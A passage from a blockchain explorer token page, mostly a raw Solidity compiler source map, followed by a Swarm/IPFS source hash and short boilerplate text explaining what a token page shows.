;-1:-1:-1;;14004:147:0:o;14824:469::-;14993:7;;;;15087:30;15113:3;15087:21;:7;15099:8;15087:11;:21::i;:::-;:25;;:30::i;:::-;15072:45;-1:-1:-1;15128:13:0;15144:28;15168:3;15144:19;:7;15156:6;15144:11;:19::i;:28::-;15128:44;-1:-1:-1;15183:23:0;15209:28;15128:44;15209:17;:7;15221:4;15209:11;:17::i;:::-;:21;;:28::i;:::-;15183:54;15273:4;;-1:-1:-1;15279:5:0;;-1:-1:-1;14824:469:0;;-1:-1:-1;;;;;14824:469:0:o;15301:534::-;15495:7;;;;15592:24;:7;15604:11;15592;:24::i;:::-;15574:42;-1:-1:-1;15627:12:0;15642:21;:4;15651:11;15642:8;:21::i;:::-;15627:36;-1:-1:-1;15674:13:0;15690:22;:5;15700:11;15690:9;:22::i;:::-;15674:38;-1:-1:-1;15723:23:0;15749:28;15674:38;15749:17;:7;15761:4;15749:11;:17::i;:28::-;15796:7;;;;-1:-1:-1;15822:4:0;;-1:-1:-1;15301:534:0;;-1:-1:-1;;;;;;;15301:534:0:o;2635:246::-;2693:7;2717:1;2722;2717:6;2713:47;;-1:-1:-1;2747:1:0;2740:8;;2713:47;2770:9;2782:5;2786:1;2782;:5;:::i;:::-;2770:17;-1:-1:-1;2815:1:0;2806:5;2810:1;2770:17;2806:5;:::i;:::-;:10;2798:56;;;;-1:-1:-1;;;2798:56:0;;13252:2:1;2798:56:0;;;13234:21:1;13291:2;13271:18;;;13264:30;13330:34;13310:18;;;13303:62;-1:-1:-1;;;13381:18:1;;;13374:31;13422:19;;2798:56:0;13050:397:1;14:548;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1631:456::-;1708:6;1716;1724;1777:2;1765:9;1756:7;1752:23;1748:32;1745:52;;;1793:1;1790;1783:12;1745:52;1832:9;1819:23;1851:31;1876:5;1851:31;:::i;:::-;1901:5;-1:-1:-1;1958:2:1;1943:18;;1930:32;1971:33;1930:32;1971:33;:::i;:::-;1631:456;;2023:7;;-1:-1:-1;;;2077:2:1;2062:18;;;;2049:32;;1631:456::o;2489:273::-;2545:6;2598:2;2586:9;2577:7;2573:23;2569:32;2566:52;;;2614:1;2611;2604:12;2566:52;2653:9;2640:23;2706:5;2699:13;2692:21;2685:5;2682:32;2672:60;;2728:1;2725;2718:12;2767:247;2826:6;2879:2;2867:9;2858:7;2854:23;2850:32;2847:52;;;2895:1;2892;2885:12;2847:52;2934:9;2921:23;2953:31;2978:5;2953:31;:::i;3151:349::-;3223:2;3217:9;3265:3;3253:16;;3299:18;3284:34;;3320:22;;;3281:62;3278:185;;;3385:10;3380:3;3376:20;3373:1;3366:31;3420:4;3417:1;3410:15;3448:4;3445:1;3438:15;3278:185;3479:2;3472:22;3151:349;:::o;3505:344::-;3572:2;3566:9;3614:3;3602:16;;3648:18;3633:34;;3669:22;;;3630:62;3627:185;;;3734:10;3729:3;3725:20;3722:1;3715:31;3769:4;3766:1;3759:15;3797:4;3794:1;3787:15;3854:1945;3982:6;4013:4;4058:2;4046:9;4037:7;4033:23;4029:32;4026:52;;;4074:1;4071;4064:12;4026:52;4097:4;4144:7;4139:2;4128:9;4124:18;4120:32;4110:60;;4166:1;4163;4156:12;4110:60;4190:22;;:::i;:::-;4260:18;;;;4234:3;4290:19;;;4287:39;;;4322:1;4319;4312:12;4287:39;4346:9;4364:1405;4380:6;4375:3;4372:15;4364:1405;;;4466:7;4461:2;4456:3;4452:12;4448:26;4438:124;;4516:1;4545:2;4541;4534:14;4438:124;4588:17;;:::i;:::-;4631:5;4674:6;4669:3;4665:16;4710:7;4700:8;4697:21;4694:111;;;4759:1;4788:2;4784;4777:14;4694:111;4831:3;4847:847;4865:8;4858:5;4855:19;4847:847;;;4964:7;4959:2;4952:5;4948:14;4944:28;4934:142;;5022:1;5055:2;5051;5044:14;4934:142;5106:22;;:::i;:::-;5158:5;5207:3;5200:5;5196:15;5244:7;5234:8;5231:21;5228:127;;;5301:1;5334:2;5330;5323:14;5228:127;5385:5;5407:194;5425:8;5418:5;5415:19;5407:194;;;5517:19;;5503:34;;5578:4;5567:16;;;;5446;5407:194;;;-1:-1:-1;;5618:20:1;;-1:-1:-1;5675:4:1;5664:16;;;;4897:3;4886:15;4847:847;;;-1:-1:-1;;5707:18:1;;-1:-1:-1;5754:4:1;5745:14;;;;4406:6;4397:16;4364:1405;;;-1:-1:-1;5788:5:1;3854:1945;-1:-1:-1;;;;;;3854:1945:1:o;5804:180::-;5863:6;5916:2;5904:9;5895:7;5891:23;5887:32;5884:52;;;5932:1;5929;5922:12;5884:52;-1:-1:-1;5955:23:1;;5804:180;-1:-1:-1;5804:180:1:o;5989:388::-;6057:6;6065;6118:2;6106:9;6097:7;6093:23;6089:32;6086:52;;;6134:1;6131;6124:12;6086:52;6173:9;6160:23;6192:31;6217:5;6192:31;:::i;:::-;6242:5;-1:-1:-1;6299:2:1;6284:18;;6271:32;6312:33;6271:32;6312:33;:::i;:::-;6364:7;6354:17;;;5989:388;;;;;:::o;6382:356::-;6584:2;6566:21;;;6603:18;;;6596:30;6662:34;6657:2;6642:18;;6635:62;6729:2;6714:18;;6382:356::o;6743:127::-;6804:10;6799:3;6795:20;6792:1;6785:31;6835:4;6832:1;6825:15;6859:4;6856:1;6849:15;6875:127;6936:10;6931:3;6927:20;6924:1;6917:31;6967:4;6964:1;6957:15;6991:4;6988:1;6981:15;7007:148;7095:4;7074:12;;;7088;;;7070:31;;7113:13;;7110:39;;;7129:18;;:::i;7160:168::-;7233:9;;;7264;;7281:15;;;7275:22;;7261:37;7251:71;;7302:18;;:::i;7333:217::-;7373:1;7399;7389:132;;7443:10;7438:3;7434:20;7431:1;7424:31;7478:4;7475:1;7468:15;7506:4;7503:1;7496:15;7389:132;-1:-1:-1;7535:9:1;;7333:217::o;10779:128::-;10846:9;;;10867:11;;;10864:37;;;10881:18;;:::i;11323:251::-;11393:6;11446:2;11434:9;11425:7;11421:23;11417:32;11414:52;;;11462:1;11459;11452:12;11414:52;11494:9;11488:16;11513:31;11538:5;11513:31;:::i;11579:980::-;11841:4;11889:3;11878:9;11874:19;11920:6;11909:9;11902:25;11946:2;11984:6;11979:2;11968:9;11964:18;11957:34;12027:3;12022:2;12011:9;12007:18;12000:31;12051:6;12086;12080:13;12117:6;12109;12102:22;12155:3;12144:9;12140:19;12133:26;;12194:2;12186:6;12182:15;12168:29;;12215:1;12225:195;12239:6;12236:1;12233:13;12225:195;;;12304:13;;-1:-1:-1;;;;;12300:39:1;12288:52;;12395:15;;;;12360:12;;;;12336:1;12254:9;12225:195;;;-1:-1:-1;;;;;;;12476:32:1;;;;12471:2;12456:18;;12449:60;-1:-1:-1;;;12540:3:1;12525:19;12518:35;12437:3;11579:980;-1:-1:-1;;;11579:980:1:o;12564:125::-;12629:9;;;12650:10;;;12647:36;;;12663:18;;:::i

Swarm Source

ipfs://3abb7d7e5a1f1c8331f61b988649fe54a8e1e9611c94bca4557ebf15d956d747
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.